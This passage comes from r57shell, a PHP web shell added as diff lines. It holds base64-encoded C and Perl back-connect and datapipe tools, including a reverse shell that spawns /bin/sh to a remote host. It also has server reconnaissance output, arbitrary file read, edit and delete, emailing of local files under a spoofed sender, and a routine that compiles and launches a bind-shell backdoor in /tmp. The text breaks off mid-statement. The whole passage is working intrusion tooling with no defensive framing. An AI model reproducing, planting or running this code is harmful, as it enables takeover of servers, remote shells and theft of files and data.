+OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; +@readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +if(empty($c1)||empty($c2)) { die(); } +$f = '<br>'; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); + mr($language,$res); + $_POST['cmd']=""; + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + mr($language,$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = 